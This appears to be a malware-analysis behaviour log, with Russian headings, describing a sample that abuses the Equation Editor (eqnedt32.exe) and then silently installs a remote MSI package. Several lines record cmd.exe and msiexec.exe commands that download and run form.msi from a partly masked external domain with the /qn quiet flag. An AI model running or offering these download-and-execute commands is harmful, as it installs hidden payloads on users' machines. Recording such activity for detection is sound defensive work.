Техническая информация
- '<SYSTEM32>\cmd.exe' & /C CD C: & msiexec.exe /i http://bu####ellgulf.com/skin/wec/form.msi /qn
- DNS ASK bu####ellgulf.com
- ClassName: 'Ghost' WindowName: ''
- '<SYSTEM32>\cmd.exe' & /C CD C: & msiexec.exe /i http://bu####ellgulf.com/skin/wec/form.msi /qn' (со скрытым окном)
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '<SYSTEM32>\msiexec.exe' /i http://bu####ellgulf.com/skin/wec/form.msi /qn
- '<SYSTEM32>\msiexec.exe' /V